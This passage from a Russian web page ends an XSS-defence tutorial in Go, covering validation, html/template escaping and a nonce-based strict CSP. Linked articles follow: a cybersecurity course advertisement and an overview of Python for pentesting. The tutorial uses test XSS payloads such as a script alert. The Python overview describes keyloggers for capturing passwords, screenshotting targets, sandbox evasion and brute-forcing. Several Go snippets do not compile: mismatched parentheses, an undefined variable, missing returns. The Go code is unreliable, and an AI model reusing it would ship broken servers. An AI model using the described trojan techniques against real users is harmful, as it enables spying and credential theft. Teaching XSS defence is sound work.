	r.ParseForm()
	messages, ok := r.Form["message"]
	if !ok {
		http.Error(w, "missing message", 500)
	}

	re := regexp.MustCompile(`^[A-Za-z\\.]+$`)
	if re.Find([]byte(messages[0]))) == "" {
		http.Error(w, "invalid message", 500)
	}
  
	db.Append(messages[0])

	http.Redirect(w, r, "/", 301)
}
    

Может показаться, что
это излишнее беспокойство, но чат-приложение принимает гораздо больше, чем ограниченный набор символов. Многие принимаемые приложениями данные достаточно структурированы: адреса, номера телефонов,
почтовые индексы и тому подобные вещи могут и должны быть
проверены.

Экранирование

Следующий шаг – экранирование вывода. В случае с нашим чатом все извлеченное из базы данных включалось непосредственно в выходной документ.

Одно и то же приложение
может быть гораздо безопаснее (даже если в него была произведена инъекция кода),
если экранировать все небезопасные выходные данные. Именно это делает пакет
html/template в Go. Использование языка шаблонов и
контекстно-зависимого синтаксического анализатора для экранирования данных до
их визуализации уменьшит вероятность выполнения вредоносного кода.

Ниже приведен пример
использования пакета html/template. Сохраните приложение в файле xss5.go, а затем выполните командой go run xss5.go.

Фрагмент 10: Использование экранирования для устранения хранимых XSS-атак.
        package main

import (
	"bytes"
	"html/template"
	"io"
	"log"
	"net/http"
	"sync"
)

var db []string
var mu sync.Mutex

var tmpl = `
<form action="/save">
  Message: <input name="message" type="text"><br>
  <input type="submit" value="Submit">
</form>
<ul>
{{range .}}
    <li>{{.}}</li>
{{end}}
</ul>`

func saveHandler(w http.ResponseWriter, r *http.Request) {
	mu.Lock()
	defer mu.Unlock()

	r.ParseForm()
	messages, ok := r.Form["message"]
	if !ok {
		http.Error(w, "missing message", 500)
	}

	db = append(db, messages[0])

	http.Redirect(w, r, "/", 301)
}

func viewHandler(w http.ResponseWriter, r *http.Request) {
	w.Header().Set("X-XSS-Protection", "0")
	w.Header().Set("Content-Type", "text/html; charset=utf-8")

	t := template.New("view")

	t, err := t.Parse(tmpl)
	if err != nil {
		http.Error(w, err.Error(), 500)
		return
	}

	var buf bytes.Buffer

	err = t.Execute(&buf, db)
	if err != nil {
		http.Error(w, err.Error(), 500)
		return
	}

	io.Copy(w, &buf)
}

func main() {
	http.HandleFunc("/", viewHandler)
	http.HandleFunc("/save", saveHandler)
	log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
    

Опробуйте использованную ранее атаку XSS, перейдя по ссылке http://localhost:8080 и введите <script>alert(1);</script>.
Обратите внимание, что предупреждение не было вызвано.

Откройте консоль браузера и посмотрите на элемент li в DOM. Интерес представляют два
свойства: innerHTML и innerText.

Фрагмент 11: Проверка DOM при использовании экранирования.
        innerHTML: "<script>alert(1);</script>"
innerText: "<script>alert(1);</script>"
    

Обратите внимание, как
с помощью экранирования удалось четко разделить код и данные.

Content Security Policy

Content Security Policy (CSP) позволяет веб-приложениям определять набор доверенных источников для загрузки контента (например, скриптов). CSP можно использовать для разделения кода и данных, отказываясь от встроенных скриптов и загружая их только из определенных источников.

Написание CSP для
небольших автономных приложений является простой задачей – начните с политики,
которая по умолчанию запрещает все источники, а затем разрешите небольшой их набор.
Однако написать эффективный CSP для больших сайтов уже не так просто. Как
только сайт начинает загружать контент из внешних источников, CSP раздувается и
становится громоздким. Некоторые разработчики сдаются и включают директиву unsafe-inline, полностью разрушая теорию
CSP.

Чтобы упростить
написание CSP, в CSP3 вводится директива strict-dynamic.
Вместо того чтобы поддерживать большой белый список надежных источников,
приложение генерирует случайное число (nonce) каждый раз, когда запрашивается
страница. Этот nonce отправляется вместе с заголовками страницы и встроен в тег
script, что заставляет браузеры доверять этим скриптам с соответствующим nonce,
а также любым скриптам, которые они могут загрузить. Вместо
того, чтобы вносить скрипты в белый список и пытаться выяснить, какие еще сценарии они загружают, а затем пополнять белый список рекурсивно,
вам нужно достаточно внести в белый список импортируемый скрипт верхнего уровня.

Используя предложенный Google подход Strict CSP, рассмотрим простое приложение, принимающее
пользовательский ввод. Сохраните его в файле xss6.go, а затем выполните командой go run xss6.go.

Фрагмент 12: Пример CSP, смягчающего XSS-атаку.
        package main

import (
	"bytes"
	"crypto/rand"
	"encoding/base64"
	"fmt"
	"html/template"
	"log"
	"net/http"
	"strings"
)

const scriptContent = `
document.addEventListener('DOMContentLoaded', function () {
   var updateButton = document.getElementById("textUpdate");
   updateButton.addEventListener("click", function() {
      var p = document.getElementById("content");
      var message = document.getElementById("textInput").value;
      p.innerHTML = message;
   });
};
`

const htmlContent = `
<html>
   <head>
      <script src="script.js" nonce="{{ . }}"></script>
   </head>
   <body>
       <p id="content"></p>

       <div class="input-group mb-3">
         <input type="text" class="form-control" id="textInput">
         <div class="input-group-append">
           <button class="btn btn-outline-secondary" type="button" id="textUpdate">Update</button>
         </div>
       </div>

       <blockquote class="twitter-tweet" data-lang="en">
         <a href="https://twitter.com/jack/status/20?ref_src=twsrc%5Etfw">March 21, 2006</a>
       </blockquote>
       <script async src="https://platform.twitter.com/widgets.js"
         nonce="{{ . }}" charset="utf-8"></script>
   </body>
</html>
`

func generateNonce() (string, error) {
	buf := make([]byte, 16)
	_, err := rand.Read(buf)
	if err != nil {
		return "", err
	}

	return base64.StdEncoding.EncodeToString(buf), nil
}

func generateHTML(nonce string) (string, error) {
	var buf bytes.Buffer

	t, err := template.New("htmlContent").Parse(htmlContent)
	if err != nil {
		return "", err
	}

	err = t.Execute(&buf, nonce)
	if err != nil {
		return "", err
	}

	return buf.String(), nil
}

func generatePolicy(nonce string) string {
	s := fmt.Sprintf(`'nonce-%v`, nonce) 
	var contentSecurityPolicy = []string{
		`object-src 'none';`,
		fmt.Sprintf(`script-src %v 'strict-dynamic';`, s),
		`base-uri 'none';`,
	}
	return strings.Join(contentSecurityPolicy, " ")
}

func scriptHandler(w http.ResponseWriter, r *http.Request) {
	nonce, err := generateNonce()
	if err != nil {
		returnError()
		return
	}

	w.Header().Set("X-XSS-Protection", "0")
	w.Header().Set("Content-Type", "application/javascript; charset=utf-8")
	w.Header().Set("Content-Security-Policy", generatePolicy(nonce))

	fmt.Fprintf(w, scriptContent)
}

func htmlHandler(w http.ResponseWriter, r *http.Request) {
	nonce, err := generateNonce()
	if err != nil {
		returnError()
		return
	}

	w.Header().Set("X-XSS-Protection", "0")
	w.Header().Set("Content-Type", "text/html; charset=utf-8")
	w.Header().Set("Content-Security-Policy", generatePolicy(nonce))

	htmlContent, err := generateHTML(nonce)
	if err != nil {
returnError()
		return
	}

	fmt.Fprintf(w, htmlContent)
}

func returnError() {
http.Error(w, http.StatusText(http.StatusInternalServerError),
		http.StatusInternalServerError)
}

func main() {
	http.HandleFunc("/script.js", scriptHandler)
	http.HandleFunc("/", htmlHandler)
	log.Fatal(http.ListenAndServe(":8080", nil))
}
    

Чтобы попытаться
использовать приложение, перейдите по ссылке: http://localhost:8080 и
попробуйте отправить <img src=1 onerror”alert(1)”/> как и раньше. Эта атака сработала бы и без CSP, но
поскольку CSP не допускает inline-скриптов, вы должны увидеть примерно такой вывод в консоли браузера:

«Отказано в выполнении встроенного обработчика событий, поскольку он нарушает следующую директиву CSP: “script-src ‘nonce-XauzABRw9QtE0bzoiRmslQ==’ ‘unsafe-inline’ ‘unsafe-eval’ ‘strict-dynamic’ https: http:” Обратите внимание, что ‘unsafe-inline‘ игнорируется, если в исходном списке присутствует либо хэш, либо значение nonce.»

Почему сценарий не
запустился? Рассмотрим
CSP подробнее.

Фрагмент 13: Базовый CSP. Nonce повторно генерируется для каждого запроса.
        script-src 'strict-dynamic' 'nonce-XauzABRw9QtE0bzoiRmslQ==';
object-src 'none';
base-uri 'none';
    
Что делает эта политика? Директива script-src включает strict-dynamic и значение nonce, используемое для загрузки скриптов. Это означает, что единственные скрипты, которые будут загружены, находятся в script elements, где nonce включен в атрибут, а значит inline-скрипты не загрузятся. Последние две директивы препятствуют загрузке плагинов и изменению базового URL приложения.

Основная сложность
использования этого подхода заключается в необходимости генерировать nonce и инжектить его в заголовки при каждой загрузке страницы. После этого шаблон
может быть применен ко всем загружаемым страницам.

Соответствующие методы устранения

Content-Type

Вы
должны не только устанавливать свой Content-Type, но и следить, чтобы браузеры не
пытались автоматически определить тип контента. Для
этого используйте заголовок: X-Content-Type-Options:
nosniff
.

Virtual doms

Хотя виртуальные домены
не являются функцией безопасности, использующие их современные фреймворки (
React и Vue) могут помочь смягчить атаки XSS на основе DOM.

Эти фреймворки создают DOM параллельно с тем, который находится в браузере, и сравнивают их. Отличающуюся часть DOM браузера они обновляют. Для этого необходимо создать виртуальный DOM, что приведет к уменьшению использования клиентами innerHTML и подтолкнет разработчиков к переходу на innerText.

React требует
использования атрибута
dangerouslySetInnerHTML, в то время как создатели Vue предупреждают, что использование
innerHTML может привести к появлению уязвимостей.

Заключение

Если вы дочитали до
конца, у вас может появиться желание разобраться, как работают браузеры, что такое ошибки
XSS и насколько важно понимать, как от них избавиться.
XSS трудно искоренить, поскольку приложения становятся все больше и все сложнее. Применяя упомянутые в статье методы, можно сделать жизнь злоумышленников трудной.

Удачи в борьбе и учебе!

Дополнительные материалы:

26
Фев
2021

🕵 Обучение кибербезопасности: сообщества, книги, видеолекции и курсы

Актуальная подборка видеолекций, курсов, сообществ и книг по информационной безопасности. Они помогут начинающему специалисту получить базовые знания и начать развитие в профессии.

19
Фев
2021

🕵 Обучение кибербезопасности: как освоить популярную профессию?

Рассказываем о самом быстром способе стать специалистом по информационной безопасности и этичным хакером – пойти учиться.

Статистика и факты

По оценке (.pdf) Kaspersky Security Network за 2020 год:

  • 10% ПК в мире хотя бы однажды были заражены вирусом;
  • более 170 млн уникальных URL содержали вредоносный код;
  • майнеры эксплуатировали более 1.5 млн домашних ПК пользователей;
  • программы-вымогатели заразили полмиллиона компьютеров.

С начала пандемии возросло количество кибератак. По опросам (.pdf) компании HLB (The Global Advisory and Accounting Network) за 2020 год:

  • 12% атак на компании были успешны;
  • 53% компании заметили повышение к ним интереса со стороны хакеров;
  • каждая пятая компания имеет слабую защиту от киберугроз.

Недавние взломы:

  • в штате Флорида хакер подключился к системе водоочистной станции и изменил уровень гидроксида натрия до опасного;
  • злоумышленники атаковали бразильские энергетические компании с помощью программ-вымогателей и украли 1 ТБ конфиденциальной информации;
  • хакеры получили доступ к исходному коду игр Cyberpunk 2077 и «Ведьмак 3».

Пандемия стимулировала рост IT-компаний, а те рынки, которые работали преимущественно в офлайне стали осваивать онлайн-продажи и переходить на удаленную работу. К 2024 году по прогнозу Минпромторга объем интернет-торговли достигнет 7 трлн рублей или 19% в общем обороте. А там, где большие деньги – повышается риск потерять их и нужны специалисты, обеспечивающие информационную безопасность. Вместе со спонсором этой статьи SkillBox рассказываем, как получить актуальные знания и востребованную профессию в сфере информационной безопасности.

Сколько платят начинающему специалисту


В московских государственных учреждениях начинающий специалист получает от 20 до 40 тыс. руб. С опытом работы 1-3 года можно заработать от 40 до 80 тыс. руб. Частные компании предлагают начинающим специалистам на 10-30% больше. У мидл-специалистов зарплата достигает 120 тыс. руб. А в свободное время можно подрабатывать этичным хакингом, одновременно повышая свой скилл.

Если рядовому программисту достаточно знать свой язык программирования и небольшой стек технологий, то специалисту по информационной безопасности нужно видеть общую картину продукта и понимать, где могут возникнуть проблемы. Продукты бывают разные: веб-приложения, корпоративные сети. Поэтому нужен учебный план, охватывающий все возможные варианты. Рассмотрим, что предлагает SkillBox.

Чему учат #1: Основы строения веб-ресурсов

В первом модуле «Основы строения веб-ресурсов» дают основы фронтенда: HTML, CSS, JavaScript. Также учат работать с базами данных и создавать SQL-запросы. Все это нужно, чтобы предотвращать XML-, SQL-инъекции, межсайтовый скриптинг (XSS) и межсайтовые подделки запросов (CSRF). Эти векторы атак не первый год входят в список OWASP TOP-10, по которому будет лабораторная работа. OWASP – международная некоммерческая организация, занимающаяся повышением безопасности программного обеспечения.

Чему учат #2: Сети

В модуле «Сети» студентов знакомят с семью уровнями сетевой модели OSI, которая дает понимание, как и по каким протоколам устройства взаимодействуют друг с другом (рис. 1). Разобравшись в OSI, узнаете как движется трафик от кабеля до клиентского приложения и поймете, где находятся потенциальные уязвимые места.

Рис. 1. Семь уровней сетевой модели OSI
Рис. 1. Семь уровней сетевой модели OSI

Чему учат #3: Python для пентестеров

В основной программе курса упор сделан на применение Питона для пентестеров: автоматизация сбора информации о системе, исследование веб-ресурсов, анализ трафика, брутфорс, взлом криптографических шифров и отладка кода.

Я не программирую на Python. Что делать?

Бонусом идет бесплатный курс «Python-разработчик с нуля», на котором вы освоите азы программирования на Питоне: условные операторы, циклы, функции, ООП, мультипоточность и библиотеки для работы с данными.

Чему учат #4: Linux с нуля до сетевого администрирования

Если вы никогда не работали с Линукс, то ничего страшного – на курсе вы установите ОС, познакомитесь с терминалом, основными командами и файловой системой. На следующих продвинутых уровнях (их два) узнаете о сетевых интерфейсах, научитесь управлять доступом, проводить логирование и мониторинг сетевых подключений, настраивать фаервол, писать BASH-скрипты и использовать сетевые сканеры.

Чему учат #5: Основы шифрования

Рис. 2. Иллюстрация принципа работы хеш-функции: даже небольшое изменение предложения полностью меняет хеш
Рис. 2. Иллюстрация принципа работы хеш-функции: даже небольшое изменение предложения полностью меняет хеш

На рисунке 2 проиллюстрирован принцип работы хеш-функции (от hash – «мешанина»), которая преобразует данные произвольной длины в битовую строку установленной длины. Хеш используется, чтобы не хранить данные в открытом виде. Очевидно, что шифровать чувствительные данные, такие как пароли – нужно. По какой-то причине разработчики даже крупных компаний пренебрегают шифрованием и хранят данные в формате простого текста (plain text) либо шифруют слабыми алгоритмами:

Шифрование – маст-хэв для специалиста кибербезопасности. На курсе студент узнает о кодировках, симметричном и ассиметричном шифрованиях, хеш-функциях и научится использовать системы криптографической защиты информации.

Чему учат #6: Windows

По данным w3techs.com на 15 февраля 2021 года 73.7% серверов работают на Unix-подобных системах, 26.3% – на Windows. Поэтому в программу включен модуль по работе с Windows (службы аудита, политики доступа, цифровые подписи) и PowerShell, необходимый для администрирования и автоматизации администрирования серверов на базе Windows.

Чему учат #7: Базы данных

Когда фронтенд-разработчики забывают экранировать символы, которые пользователь вводит в форму отправки, открывается окно для взлома через SQL-инъекцию. По статистике за 2019 год (.pdf) SQL-инъекции составили 42% от всех атак на веб-приложения, доступные через сеть интернет (internet/public facing applications). Чтобы уделить должное внимание этой теме, работа с базами данных вынесена в отдельный модуль: базовые операции с таблицами, синтаксис запросов, архитектура БД и разбор SQL-инъекций.

Чему учат #8: No Script kiddie

На курсе научитесь работать с популярными фреймворками для тестирования систем: Metasploit и другие. Чтобы не быть скрипт-кидди – так называют тех, кто пользуется только готовыми инструментами для атаки на компьютерные системы, – студенты напишут свой набор программ и скриптов для тестирования на проникновение, а также для взлома беспроводных сетей.

Дополнительные мини-курсы

В дополнение к основному курсу, открывается доступ к «Универсальным знаниям программиста» и «Английский для IT-специалистов», в которых прокачиваются софт-скиллы, продуктивность, учат создавать личный бренд, верстать e-mail рассылки, работать в фотошопе, искать заказы на разработку и дают базовый английский язык. То есть делают из студента T-Shaped специалиста, у которого есть углубленное знание в какой-то одной сфере – информационная безопасность, – а также широкий кругозор в смежных областях, который может быть полезен в остальной проектной работе и на фрилансе.

Дипломный проект

Для проверки знаний студенту предлагают ряд челленджей. Например, извлечь ценную информацию из базы данных сайта, применяя полученные знания. Каждая выполненная задача – плюс один флаг, подтверждающий компетентность студента.

Как все это успеть?


Курс длится 24 месяца (184 часов лекций и 120 часов практики), чтобы не сильно отрываться от текущей работы и без спешки усваивать новые знания. В среднем требуется около 3-5 часов в неделю. Также курс можно завершить за меньший срок, если есть свободное время.

А если возникнут вопросы?

Студентам открывается доступ к закрытому телеграм-каналу, где происходит коммуникация с преподавателями: они комментируют домашние задания, дают советы и лайфхаки.

Я ничего не умею, будет сложно?

Курс рассчитан на новичков. Плюс вам всегда на помощь придут наставники. Главное – систематически выполнять задания и не стесняться задавать вопросы.

Есть рассрочка или кредитная программа?

Да, действует программа рассрочки. А первый платеж – через три месяца.

Какие шансы, что я получу работу?

Точную цифру – с какой вероятностью тот или иной студент получит работу и через какое время – вам никто не назовет. SkillBox поможет составить резюме, даст персональные консультации по развитию карьеры и подготовит к собеседованиям. Лучшее, что может сделать студент, чтобы повысить свою конкурентоспособность – быть инициативным и жадным до знаний.

Кто ведет занятия?

Занятия ведут сертифицированный этичный хакер Александр Огнев, старший инженер безопасности в Alibaba Cloud Анастасия Полякова, инженер по информационной безопасности и старший консультант центра сетевых решений компании «Инфосистемы Джет» Нина Пакшина и Максим Клочков, главный методист технического направления Skillbox Михаил Овчинников и директор кадрового центра SymbioWay Даниил Пилипенко.


Что в итоге?

Пять проектов в портфолио, работа на реальных кейсах с реальными командами, диплом об окончании и помощь в поиске работы. Доступ к курсу остается навсегда.

27
Янв
2021

🕵 Зашифрованный трафик тоже можно вскрыть: рассказываем, как сделать это безопасно

Шифрование используют не только для защиты информации, но и для сокрытия вредоносной деятельности. На сайте АНБ США мы обнаружили интересный документ, который описывает проверку безопасности транспортного слоя, ее риски, а также методы их м…

23
Дек
2020

🕵 Python для этичного хакинга: изучаем основы

Базовые знания языка программирования Python нужны этичным хакерам для работы со множеством инструментов и написания своих. Наша статья будет полезна и разработчикам, которые хотят усилить безопасность своего кода.

Почему язык программирования Python хорош для работы в кибербезопасности?

  • Знания этого языка программирования позволяют понимать, как работают инструменты на Питоне, и как их использовать по полной.
  • Python легко выучить.
  • Обширное комьюнити с большой вероятностью поможет разрешить почти любой вопрос.
  • Доступно очень много бесплатных библиотек для Python.
  • Можно отказаться от некоторых платных инструментов – их функциональность нетрудно реализовать на Питоне самостоятельно.

В материале собраны различные тулзы и обучающие материалы, которые помогут начать оптимизировать свою работу с помощью языка программирования Python.

Исследование сетей с Python

1. Можно написать собственный несложный сканер, который будет проверять открытые порты. Цель такой программы: подключиться к сайту, серверу или интернету вещей через выбранные порты.

В Питоне это осуществляется с помощью библиотеки socket. Этот модуль предоставляет возможность осуществлять операции с сокетами, функции для сетевых задач и не только.

Здесь подробнее описывается практическое решения в коде.

2. Простой сканер сети можно запустить с помощью библиотеки scapy, который будет исследовать сеть через ARP-запросы.

3. Расширяем возможности Nmap.

Nmap (или Network Mapper) – это сканер компьютерных сетей, также он анализирует уязвимости. После его работы вы получаете карту с данными о хостах и сервисах конкретной сети.

Чтобы работать с Nmap с помощью языка программирования Python, нужно сначала загрузить на компьютер саму программу, а потом импортировать модуль «nmap» в ваш блокнот. Подробные примеры с кодом можно изучить в этой книге: Beginning ethical hacking with Python.

Веб-приложения

Для взаимодействия с веб-сервисами с помощью Питона используется библиотека urllib2.

1. Поиск незащищенных файлов на распространенных CMS-платформах.

2. Для более сложных систем вроде кастомного веб-приложения или большого онлайн магазина лучше подойдет брутфорс-атака на каталоги и возможные расположения файлов. С помощью Python вы будете перебирать все известные названия файлов и местонахождения файлов.

3. Также можно брутфорсить формы аутентификации.

4. Расширение возможностей Burp Suite (ознакомиться с этим инструментов и скачать его можно на PortSwigger). Используя язык программирования Python, в интерфейс Burp можно добавлять новые панели и автоматизировать некоторые задачи.

Например: перехваченный от Burp Proxy HTTP-запрос можно будет использовать как базу для создания фаззера в режиме мутации, которые можно запустить в Burp Intruder. Или: с помощью Microsoft Bing API (поможет найти все сайты, привязанные к конкретному IP) показать все виртуальные хосты, расположенные по тому же IP-адресу, что и сайт-мишень + все субдомены.

Подробнее с примерами кода – в Black Hat Python.

SQL-инъекции

С помощью языка программирования Python нетрудно получить доступ к базам данных, что-то вставить туда, изменить и удалить записи.

В этом примере подробно описывается, как можно потренироваться взламывать созданную вами же базу данных, и как избежать незаконного проникновения.

В этом туториале рассматривается, как с помощью библиотеки Beautiful Soup распознать, есть ли в приложении уязвимость к SQL-инъекциям.


Троянские задачи на Windows

1. Кейлогер с библиотекой PyHook позволяет фиксировать все действия с клавиатурой. Более того, есть возможность идентифицировать, какие процессы работают, когда пользователь нажимает клавиши. Например, можно понять, когда вводится никнейм, пароли или другая полезная информация.

2. Создаем скриншоты экрана вашей мишени. Для этого потребуется установка пакета PyWin32, который позволит делать нативные запросы в Windows API для захвата всего экрана устройства.

3. Определяем песочницу антивирусника, чтобы случайно в нее не попасться. Простая программа на Питоне позволит понять, запущен ли ваш троян в песочнице. Она отследит, когда пользователь последний раз взаимодействовал с антивирусом, и соотнесет с тем, как долго тот был запущен.

Подробнее с примерами кода – в Black Hat Python.

Форензика с Python

Часто для расследования инцидентов специалисту по кибербезопасности нужно получить снимок оперативной памяти поврежденной машины, чтобы, например, считать криптографические ключи.

Для этой задачи есть Python-фреймворк Volatility (скачать можно здесь). Он активно используется специалистами по реагированию, судебными экспертами и аналитиками вредоносного ПО для задач, вроде проверки объектов ядра, изучения и сброса процессов. Также Volatility применяют атакующие специалисты, чтобы усложнить процесс расследования совершенных ими нарушений.

Повышение привилегий в Windows

С языком программирования Python можно, например, создать простую программу для мониторинга процессов с WMI API; автоматически получить необходимые привилегии на процессы, которые вы отслеживаете; автоматически вставлять код в файлы-мишени.

Подробнее с примерами кода – в Black Hat Python.

Криптография

Шифровать и расшифровывать текст можно и вручную. Python используется как один из инструментов для ускорения этого процесса.

Чтобы зашифровать определенный текст, например, с помощью шифра Цезаря, на Python есть модуль pyperclip, который вам в этом поможет.

Расшифровка происходит тоже с этим модулем. Поскольку в Цезаре ограниченное количество ключей (26), программа просто перебирает возможные варианты. Уже среди выдачи вы легко сможете определить ключ – напротив него будет понятный текст на английском, а не набор букв.

Конечно, язык программирования Python позволяет зашифровывать и расшифровывать и гораздо более сложные шифры.

Подробнее в книге: Hacking Secret Ciphers with Python. Все очень понятно объясняется и про криптографию, и про Python. Подойдет для новичков. От самых простых шифров к самым сложным с практическими примерами шифрования и расшифровки.

Brute-force атака

Когда у вас есть хешированный пароль и файл со всеми возможными паролями, Python поможет быстро найти пароль, который соответствует хешу (или его отсутствие в файле).


Сбор данных о мишени

1. Существует очень много инструментов (например, xinit) для получения информации об IP и номере телефона, но с парой библиотек Python вы можете это сделать самостоятельно.

2. Модуль BeautifulSoup извлекает информацию из HTML и XML-файлов. Например, он он может достать все ссылки на странице. Здесь инструкция, как собрать все внутренние и внешние ссылки с веб-страницы и со всего сайта, а библиотека request-html извлечет со страницы все e-mail. Подробнее в туториале.

3. Часто пентестерам нужно собрать и исследовать на уязвимости все субдомены конкретного сайта. С помощью библиотеки requests можно значительно ускорить эту задачу, автоматически перебрав все стандартные субдомены. Для этого потребуется загрузить файл с разными вариантами. Желательно, чтобы их было около 10 000 – это увеличит шансы найти существующие субдомены сайта, который вы исследуете.

4. Зная Python, можно расширить возможности поиска по уязвимостям интернета вещей через Shodan API.

5. Можно извлекать метаданные из фотографии (например, GPS, модель камеры, владелец, дата и время снимка) с помощью библиотеки Pillow.

Анонимность

1. Постоянно изменяемый mac-адрес.

Mac-адрес назначается устройству производителем, и его нельзя поменять навсегда. С помощью Python есть возможность поменять mac-адрес на всю сессию работы. Чтобы не обновлять его вручную, Питон позволяет запустить цикл.

2. На Питоне нетрудно создать программку, которая будет отслеживать, собирает ли сайт куки или идентификаторы сеанса. Сниппет можно найти среди шпаргалок для пентестеров.

Что почитать

Небольшой статьи мало, чтобы научиться по полной использовать язык программирования Python для пентеста и белого хакинга. Мы собрали для вас несколько стоящих источников для изучения.

Python for hackers. Автор показывает основные виды атак с помощью Питона, а также объясняет, как их избежать. Описываются базовые принципы безопасного кода: все темы подкреплены практическими примерами на Python.

Black Hat Python. Здесь покрываются темы расследования сетей, атаки веб-приложений и техники повышения привилегий в Windows. В книге вы также найдете домашние задания для саморазвития. Она подойдет как для начинающих – читать всю книгу, так и для программистов с опытом – просмотреть отдельные главы.

Beginning ethical hacking with Python. Несмотря на название в книге мало описывается именно применение языка программирования Python в этичном хакинге. Она больше для новичков и в Питоне, и в кибербезопасности.

Python Pentest Cheat Sheetшпаргалка по Python для пентеста. Есть, например, сниппет для сбора всех ссылок с сайта (с помощью BeautifulSoup), сканирования портов с Nmap, а также программа, которая отслеживает, собирает ли сайт куки или идентификаторы сеанса.

Automate the boring stuff with python. Простые примеры, как Python помогает ускорить обыденные действия, вроде открытия вкладок или поиска адреса на карте. В книге можно найти много решений для применения в пентесте, вроде анализа метаданных файлов или парсинга данных.

***

Если вы только осваиваете популярный язык программирования, обратите внимание на факультет Python-разработки GeekBrains. Под руководством опытных наставников вы научитесь писать подобные описанным (и более сложные) приложения, а успешно завершившим обучение студентам онлайн-академия поможет с трудоустройством.